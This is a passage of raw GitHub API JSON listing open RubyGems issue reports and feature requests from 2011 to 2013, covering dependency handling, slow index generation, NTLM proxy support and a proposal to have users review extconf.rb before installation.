/category:%20gem%20spec","name":"category: gem spec","color":"0b02e1","default":false},{"id":112219,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20install","name":"category: install","color":"0b02e1","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false},{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":24,"created_at":"2013-08-27T12:54:37Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"Recent version of nokogiri introduces runtime dependency on mini_portile. However, this is actually not a runtime dependency, but install time dependency, which is needed just for build of nokogiri''s binary extension.\n\nWould it be possible to get rid of such (non)runtime dependency? It is of any use for Windows users, since they get nokogiri precompiled and it is of any use for Fedora users, since they install precompiled rubygem-nokogiri as well. I believe this apply also for other distributions.\n\nThanks for considering.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/581","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/581/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/581/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/581/events","html_url":"https://github.com/rubygems/rubygems/issues/581","id":16172610,"number":581,"title":"Prompt the user to review extconf.rb when installing","user":{"login":"charliesome","id":179065,"avatar_url":"https://avatars2.githubusercontent.com/u/179065?v=4","gravatar_id":"","url":"https://api.github.com/users/charliesome","html_url":"https://github.com/charliesome","followers_url":"https://api.github.com/users/charliesome/followers","following_url":"https://api.github.com/users/charliesome/following{/other_user}","gists_url":"https://api.github.com/users/charliesome/gists{/gist_id}","starred_url":"https://api.github.com/users/charliesome/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/charliesome/subscriptions","organizations_url":"https://api.github.com/users/charliesome/orgs","repos_url":"https://api.github.com/users/charliesome/repos","events_url":"https://api.github.com/users/charliesome/events{/privacy}","received_events_url":"https://api.github.com/users/charliesome/received_events","type":"User","site_admin":true},"labels":[{"id":112219,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20install","name":"category: install","color":"0b02e1","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2013-06-29T08:46:12Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"RubyGems should prompt the user to review `extconf.rb` (and perhaps other files that are executed when configuring native extensions) with `$EDITOR` before executing it.\n\nThis should be on by default, with a switch to turn it off (for example, if installation of trusted gems is being scripted).\n\nFor an example of this sort of thing being done elsewhere, check out `yaourt` - a client for the AUR. This is what it says when installing an AUR package:\n\n```\n# yaourt -S minecraft\n\n==> Downloading minecraft PKGBUILD from AUR...\nx PKGBUILD\nx minecraft\nx minecraft.desktop\nx minecraft.png\nx minecraft.install\n\n....snip.....\n\nminecraft latest-18 (Thu Aug 5 16:24:52 UTC 2010)\n( Unsupported package: Potentially dangerous ! )\n==> Edit PKGBUILD ? [Y/n] (\"A\" to abort)\n==> ------------------------------------\n==>\n```\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/509","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/509/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/509/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/509/events","html_url":"https://github.com/rubygems/rubygems/issues/509","id":11895146,"number":509,"title":"`generate_index` is very slow with large .gem files","user":{"login":"docwhat","id":40799,"avatar_url":"https://avatars1.githubusercontent.com/u/40799?v=4","gravatar_id":"","url":"https://api.github.com/users/docwhat","html_url":"https://github.com/docwhat","followers_url":"https://api.github.com/users/docwhat/followers","following_url":"https://api.github.com/users/docwhat/following{/other_user}","gists_url":"https://api.github.com/users/docwhat/gists{/gist_id}","starred_url":"https://api.github.com/users/docwhat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/docwhat/subscriptions","organizations_url":"https://api.github.com/users/docwhat/orgs","repos_url":"https://api.github.com/users/docwhat/repos","events_url":"https://api.github.com/users/docwhat/events{/privacy}","received_events_url":"https://api.github.com/users/docwhat/received_events","type":"User","site_admin":false},"labels":[{"id":112223,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20other","name":"category: other","color":"0b02e1","default":false},{"id":112230,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20bug%20report","name":"type: bug report","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":12,"created_at":"2013-03-11T20:02:41Z","updated_at":"2016-06-09T09:21:15Z","closed_at":null,"author_association":"NONE","body":"I found this over in `geminabox` as [issue #102](https://github.com/cwninja/geminabox/issues/102)...\n\nGiven a directory with a significant MBs of gems (e.g. 594mb)...\n\nPointing `--directory` to `..` is very slow:\n\n```\n$ /usr/bin/time gem generate_index --directory ..\nGenerating Marshal quick index gemspecs for 54 gems\n......................................................\nComplete\nGenerated Marshal quick index gemspecs: 0.040s\nGenerating Marshal master index\nGenerated Marshal master index: 0.008s\nGenerating specs index\nGenerated specs index: 0.003s\nGenerating latest specs index\nGenerated latest specs index: 0.001s\nGenerating prerelease specs index\nGenerated prerelease specs index: 0.000s\nCompressing indicies\nCompressed indicies: 0.002s\n65.96user 2.44system 1:12.42elapsed 94%CPU (0avgtext+0avgdata 177792maxresident)k\n1922328inputs+560outputs (1major+19683minor)pagefaults 0swaps\n```\n\nBut with `--directory` set to a child directory it is fast:\n\n```\n$ mkdir -p child && /usr/bin/time gem generate_index --directory child\nGenerating Marshal quick index gemspecs for 0 gems\n\nComplete\nGenerated Marshal quick index gemspecs: 0.000s\nGenerating Marshal master index\nGenerated Marshal master index: 0.000s\nGenerating specs index\nGenerated specs index: 0.000s\nGenerating latest specs index\nGenerated latest specs index: 0.001s\nGenerating prerelease specs index\nGenerated prerelease specs index: 0.000s\nCompressing indicies\nCompressed indicies: 0.003s\n0.30user 0.03system 0:00.37elapsed 89%CPU (0avgtext+0avgdata 45776maxresident)k\n1616inputs+64outputs (16major+3087minor)pagefaults 0swaps\n```\n\nAnd using a sibling directory is also fast:\n\n```\n$ mkdir -p ../sibling && /usr/bin/time gem generate_index --directory ../sibling\nGenerating Marshal quick index gemspecs for 0 gems\n\nComplete\nGenerated Marshal quick index gemspecs: 0.000s\nGenerating Marshal master index\nGenerated Marshal master index: 0.000s\nGenerating specs index\nGenerated specs index: 0.000s\nGenerating latest specs index\nGenerated latest specs index: 0.000s\nGenerating prerelease specs index\nGenerated prerelease specs index: 0.000s\nCompressing indicies\nCompressed indicies: 0.001s\n0.26user 0.02system 0:00.29elapsed 98%CPU (0avgtext+0avgdata 45760maxresident)k\n0inputs+64outputs (0major+3103minor)pagefaults 0swaps\n```\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/497","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/497/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/497/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/497/events","html_url":"https://github.com/rubygems/rubygems/issues/497","id":11770683,"number":497,"title":"Define what the pessimistic operator (~>) does for pre release gems.","user":{"login":"y8","id":80930,"avatar_url":"https://avatars3.githubusercontent.com/u/80930?v=4","gravatar_id":"","url":"https://api.github.com/users/y8","html_url":"https://github.com/y8","followers_url":"https://api.github.com/users/y8/followers","following_url":"https://api.github.com/users/y8/following{/other_user}","gists_url":"https://api.github.com/users/y8/gists{/gist_id}","starred_url":"https://api.github.com/users/y8/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/y8/subscriptions","organizations_url":"https://api.github.com/users/y8/orgs","repos_url":"https://api.github.com/users/y8/repos","events_url":"https://api.github.com/users/y8/events{/privacy}","received_events_url":"https://api.github.com/users/y8/received_events","type":"User","site_admin":false},"labels":[{"id":112223,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20other","name":"category: other","color":"0b02e1","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2013-03-07T17:42:50Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"NONE","body":"Hey. While I''m little busy at work to jump into #454, I''ve found questionable behaviour in rubygems, regarding how \"pre-release\" versions are treated in dependecies.\n\nStory: we are using \"git-flow\" like model for release management. So we have different versions of gems for each \"flow\". For example for \"develop\" branch we have `x.y.z.dev%build%`, for \"pre-release\" `x.y.z.rc%build%` and for releases just \"x.y.z\". We call this \"dev\", \"rc\" strings \"tags\"\n\nWhat''s wrong: rubygems don''t give a single yellow duck about tags. \n\nHere my test bench: \n\nGems:\n- baz\n - baz-1.0.0.a.1 (add_dependency \"~> 1.0.0.a\")\n - baz-1.0.0.b.1 (add_dependency \"~> 1.0.0.b\")\n- bar\n - bar-1.0.0.a.1\n - bar-1.0.0.b.1\n\nWhat I expect in my universe of pink unicorns and butterflies: \n\n`gem install baz --pre --v 1.0.0.a.1` gives me\n- bar-1.0.0.a.1\n- baz-1.0.0.a.1\n\nWhat happens in grumpy reality:\n\n`gem install baz --pre --v 1.0.0.a.1` gives me\n- bar-1.0.0.b.1\n- baz-1.0.0.a.1\n\nThis is not seems right, since `gem.add_dependency \"bar\", \"> 1.0.0.c\", \"< 1.0.0.cz\"` works as expected. \n\nAm I missing something?\n\nYou can play with this stuff by yourself. I''ve pushed this dummy gems to rubygems.org.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/448","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/448/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/448/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/448/events","html_url":"https://github.com/rubygems/rubygems/issues/448","id":10796786,"number":448,"title":"$ gem install should look for dependencies in the same directory as the dependant gem","user":{"login":"Maniacal","id":957718,"avatar_url":"https://avatars1.githubusercontent.com/u/957718?v=4","gravatar_id":"","url":"https://api.github.com/users/Maniacal","html_url":"https://github.com/Maniacal","followers_url":"https://api.github.com/users/Maniacal/followers","following_url":"https://api.github.com/users/Maniacal/following{/other_user}","gists_url":"https://api.github.com/users/Maniacal/gists{/gist_id}","starred_url":"https://api.github.com/users/Maniacal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Maniacal/subscriptions","organizations_url":"https://api.github.com/users/Maniacal/orgs","repos_url":"https://api.github.com/users/Maniacal/repos","events_url":"https://api.github.com/users/Maniacal/events{/privacy}","received_events_url":"https://api.github.com/users/Maniacal/received_events","type":"User","site_admin":false},"labels":[{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2013-02-08T21:39:46Z","updated_at":"2016-06-09T09:21:15Z","closed_at":null,"author_association":"NONE","body":"If I want to install a.gem and it depends on b.gem and I want to install them from local files(`/tmp/gemstage/a.gem` and `/tmp/gemstage/b.gem`), I should be able to install them as follows:\n\n```\ngem install /tmp/gemstage/a.gem --local\n```\n\nBut this will fail because it won''t know where to look for b.gem. I can cd to `/tmp/gemstage/` and then run:\n\n```\ngem install a.gem --local\n```\n\nIt would be a nice feature if gem install would look for dependencies in the same folder as the gem you''re installing. That way you won''t have to be concerned with changing directories when scripting these installations.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/403","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/403/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/403/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/403/events","html_url":"https://github.com/rubygems/rubygems/issues/403","id":8794198,"number":403,"title":"Add possibity to force installing dependency gems","user":{"login":"mpapis","id":48054,"avatar_url":"https://avatars0.githubusercontent.com/u/48054?v=4","gravatar_id":"","url":"https://api.github.com/users/mpapis","html_url":"https://github.com/mpapis","followers_url":"https://api.github.com/users/mpapis/followers","following_url":"https://api.github.com/users/mpapis/following{/other_user}","gists_url":"https://api.github.com/users/mpapis/gists{/gist_id}","starred_url":"https://api.github.com/users/mpapis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mpapis/subscriptions","organizations_url":"https://api.github.com/users/mpapis/orgs","repos_url":"https://api.github.com/users/mpapis/repos","events_url":"https://api.github.com/users/mpapis/events{/privacy}","received_events_url":"https://api.github.com/users/mpapis/received_events","type":"User","site_admin":false},"labels":[{"id":112219,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20install","name":"category: install","color":"0b02e1","default":false},{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":6,"created_at":"2012-11-29T02:27:48Z","updated_at":"2016-01-19T20:34:37Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"Please add `--force-dependencies` flag to always install latest dependencies version in `GEM_HOME`.\n\nFollow up of #385, there is a need to (re)install all the dependencies when installing gem.\n\nA simple example would be:\n\n```\ngem install rspec-expectations -v 2.11.0\ngem install rspec -v 2.11.0\n```\n\nWill make `rspec` work with `rspec-expectations` version `2.11.0`.\n\nNow starting with a fresh environment (no gems) we do:\n\n```\ngem install rspec -v 2.11.0\n```\n\nWill make `rspec` work with `rspec-expectations` version `2.11.3` (at time of writing).\n\nReturning to the initial example I would like to run:\n\n```\ngem install rspec-expectations -v 2.11.0\ngem install rspec -v 2.11.0 --force-dependencies\n```\n\nWhich should make `rspec` work with `rspec-expectations` version `2.11.3` (at time of writing).\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/285","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/285/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/285/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/285/events","html_url":"https://github.com/rubygems/rubygems/issues/285","id":3347001,"number":285,"title":"Support NTLM authentication when behind Windows proxies","user":{"login":"emboss","id":486012,"avatar_url":"https://avatars3.githubusercontent.com/u/486012?v=4","gravatar_id":"","url":"https://api.github.com/users/emboss","html_url":"https://github.com/emboss","followers_url":"https://api.github.com/users/emboss/followers","following_url":"https://api.github.com/users/emboss/following{/other_user}","gists_url":"https://api.github.com/users/emboss/gists{/gist_id}","starred_url":"https://api.github.com/users/emboss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emboss/subscriptions","organizations_url":"https://api.github.com/users/emboss/orgs","repos_url":"https://api.github.com/users/emboss/repos","events_url":"https://api.github.com/users/emboss/events{/privacy}","received_events_url":"https://api.github.com/users/emboss/received_events","type":"User","site_admin":false},"labels":[{"id":112223,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20other","name":"category: other","color":"0b02e1","default":false},{"id":305728851,"url":"https://api.github.com/repos/rubygems/rubygems/labels/platform:%20windows","name":"platform: windows","color":"5319e7","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false}],"state":"open","locked":false,"assignee":{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false},"assignees":[{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false}],"milestone":null,"comments":8,"created_at":"2012-02-22T21:44:27Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"NONE","body":"Gem installation failed while I was playing around on a Windows machine that sat behind an NTLM-authenticated proxy. Could you please support NLTM auth for these cases?\n\nThanks in advance,\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/184","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/184/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/184/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/184/events","html_url":"https://github.com/rubygems/rubygems/issues/184","id":1628954,"number":184,"title":"$ gem check --doctor - checking installs for issues or orphans","user":{"login":"zenspider","id":9832,"avatar_url":"https://avatars3.githubusercontent.com/u/9832?v=4","gravatar_id":"","url":"https://api.github.com/users/zenspider","html_url":"https://github.com/zenspider","followers_url":"https://api.github.com/users/zenspider/followers","following_url":"https://api.github.com/users/zenspider/following{/other_user}","gists_url":"https://api.github.com/users/zenspider/gists{/gist_id}","starred_url":"https://api.github.com/users/zenspider/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zenspider/subscriptions","organizations_url":"https://api.github.com/users/zenspider/orgs","repos_url":"https://api.github.com/users/zenspider/repos","events_url":"https://api.github.com/users/zenspider/events{/privacy}","received_events_url":"https://api.github.com/users/zenspider/received_events","type":"User","site_admin":false},"labels":[{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false},{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2011-09-12T23:20:33Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"needs to check gem installs for basic sanity checks, pount out orphans, etc.\n\nAlso needs to walk your path and check for multiple ruby installs and point out potential problems.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/182","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/182/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/182/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/182/events","html_url":"https://github.com/rubygems/rubygems/issues/182","id":1611657,"number":182,"title":"installer.rb is swallowing exceptions from ext/builder.rb","user":{"login":"mikz","id":154571,"avatar_url":"https://avatars3.githubusercontent.com/u/154571?v=4","gravatar_id":"","url":"https://api.github.com/users/mikz","html_url":"https://github.com/mikz","followers_url":"https://api.github.com/users/mikz/followers","following_url":"https://api.github.com/users/mikz/following{/other_user}","gists_url":"https://api.github.com/users/mikz/gists{/gist_id}","starred_url":"https://api.github.com/users/mikz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikz/subscriptions","organizations_url":"https://api.github.com/users/mikz/orgs","repos_url":"https://api.github.com/users/mikz/repos","events_url":"https://api.github.com/users/mikz/events{/privacy}","received_events_url":"https://api.github.com/users/mikz/received_events","type":"User","site_admin":false},"labels":[{"id":112219,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20install","name":"category: install","color":"0b02e1","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false},{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false},"assignees":[{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false}],"milestone":null,"comments":2,"created_at":"2011-09-09T21:45:18Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"NONE","body":"I tried to install and compile capybara-webkit (using bundler) but Makefile had some strange characters.\n\nResult was always successful compilation with no problem but install reported compilation error.\n\nSo I figured out that problem is in ext/builder - issue #181\n\nInstaller swallowed ext/builder (ArgumentException) exception and printed just useless information about compilation problem - which is not right.\n\nSo I think that would be better to somehow isolate compilation exceptions and exceptions from rubygems itself and print out some useful infromation like exception name, file, line number and message.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/178","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/178/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/178/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/178/events","html_url":"https://github.com/rubygems/rubygems/issues/178","id":1572767,"number":178,"title":"Add \"webhook\" command from gemcutter","user":{"login":"sferik","id":10308,"avatar_url":"https://avatars1.githubusercontent.com/u/10308?v=4","gravatar_id":"","url":"https://api.github.com/users/sferik","html_url":"https://github.com/sferik","followers_url":"https://api.github.com/users/sferik/followers","following_url":"https://api.github.com/users/sferik/following{/other_user}","gists_url":"https://api.github.com/users/sferik/gists{/gist_id}","starred_url":"https://api.github.com/users/sferik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sferik/subscriptions","organizations_url":"https://api.github.com/users/sferik/orgs","repos_url":"https://api.github.com/users/sferik/repos","events_url":"https://api.github.com/users/sferik/events{/privacy}","received_events_url":"https://api.github.com/users/sferik/received_events","type":"User","site_admin":false},"labels":[{"id":112221,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20command","name":"category: command","color":"0b02e1","default":false},{"id":305524750,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20feature%20request","name":"type: feature request","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":{"login":"krainboltgreene","id":334809,"avatar_url":"https://avatars1.githubusercontent.com/u/334809?v=4","gravatar_id":"","url":"https://api.github.com/users/krainboltgreene","html_url":"https://github.com/krainboltgreene","followers_url":"https://api.github.com/users/krainboltgreene/followers","following_url":"https://api.github.com/users/krainboltgreene/following{/other_user}","gists_url":"https://api.github.com/users/krainboltgreene/gists{/gist_id}","starred_url":"https://api.github.com/users/krainboltgreene/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/krainboltgreene/subscriptions","organizations_url":"https://api.github.com/users/krainboltgreene/orgs","repos_url":"https://api.github.com/users/krainboltgreene/repos","events_url":"https://api.github.com/users/krainboltgreene/events{/privacy}","received_events_url":"https://api.github.com/users/krainboltgreene/received_events","type":"User","site_admin":false},"assignees":[{"login":"krainboltgreene","id":334809,"avatar_url":"https://avatars1.githubusercontent.com/u/334809?v=4","gravatar_id":"","url":"https://api.github.com/users/krainboltgreene","html_url":"https://github.com/krainboltgreene","followers_url":"https://api.github.com/users/krainboltgreene/followers","following_url":"https://api.github.com/users/krainboltgreene/following{/other_user}","gists_url":"https://api.github.com/users/krainboltgreene/gists{/gist_id}","starred_url":"https://api.github.com/users/krainboltgreene/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/krainboltgreene/subscriptions","organizations_url":"https://api.github.com/users/krainboltgreene/orgs","repos_url":"https://api.github.com/users/krainboltgreene/repos","events_url":"https://api.github.com/users/krainboltgreene/events{/privacy}","received_events_url":"https://api.github.com/users/krainboltgreene/received_events","type":"User","site_admin":false}],"milestone":null,"comments":2,"created_at":"2011-09-05T19:01:12Z","updated_at":"2016-01-18T23:48:18Z","closed_at":null,"author_association":"MEMBER","body":"All the gemcutter commands were merged into rubygems in version 1.3.6 except `yank` and `webhook`. It seems like we should just merge these into rubygems and then kill the gemcutter gem.\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/111","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/111/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/111/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/111/events","html_url":"https://github.com/rubygems/rubygems/issues/111","id":1058254,"number":111,"title":"Write up a guide / documentation about the plugin system","user":{"login":"zenspider","id":9832,"avatar_url":"https://avatars3.githubusercontent.com/u/9832?v=4","gravatar_id":"","url":"https://api.github.com/users/zenspider","html_url":"https://github.com/zenspider","followers_url":"https://api.github.com/users/zenspider/followers","following_url":"https://api.github.com/users/zenspider/following{/other_user}","gists_url":"https://api.github.com/users/zenspider/gists{/gist_id}","starred_url":"https://api.github.com/users/zenspider/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zenspider/subscriptions","organizations_url":"https://api.github.com/users/zenspider/orgs","repos_url":"https://api.github.com/users/zenspider/repos","events_url":"https://api.github.com/users/zenspider/events{/privacy}","received_events_url":"https://api.github.com/users/zenspider/received_events","type":"User","site_admin":false},"labels":[{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false},{"id":308730438,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20documentation","name":"type: documentation","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false},"assignees":[{"login":"drbrain","id":9831,"avatar_url":"https://avatars3.githubusercontent.com/u/9831?v=4","gravatar_id":"","url":"https://api.github.com/users/drbrain","html_url":"https://github.com/drbrain","followers_url":"https://api.github.com/users/drbrain/followers","following_url":"https://api.github.com/users/drbrain/following{/other_user}","gists_url":"https://api.github.com/users/drbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/drbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drbrain/subscriptions","organizations_url":"https://api.github.com/users/drbrain/orgs","repos_url":"https://api.github.com/users/drbrain/repos","events_url":"https://api.github.com/users/drbrain/events{/privacy}","received_events_url":"https://api.github.com/users/drbrain/received_events","type":"User","site_admin":false}],"milestone":null,"comments":6,"created_at":"2011-06-14T23:40:48Z","updated_at":"2017-11-27T02:00:44Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"Folks should know what the plugin system is, what it''s intended use is, that there are some things it _isn''t_ meant to be used for, but also, where to go to ask for help to determine whether something is a good fit for the plugin system\n\nand/or ask for extension points to be added to the plugin system API. I will do some research on my own on this if there is time available and contribute if I end up coming up with anything useful, but please don''t let that stop anyone who''s actively working on RubyGems from beating me to it.\n\nFrom: 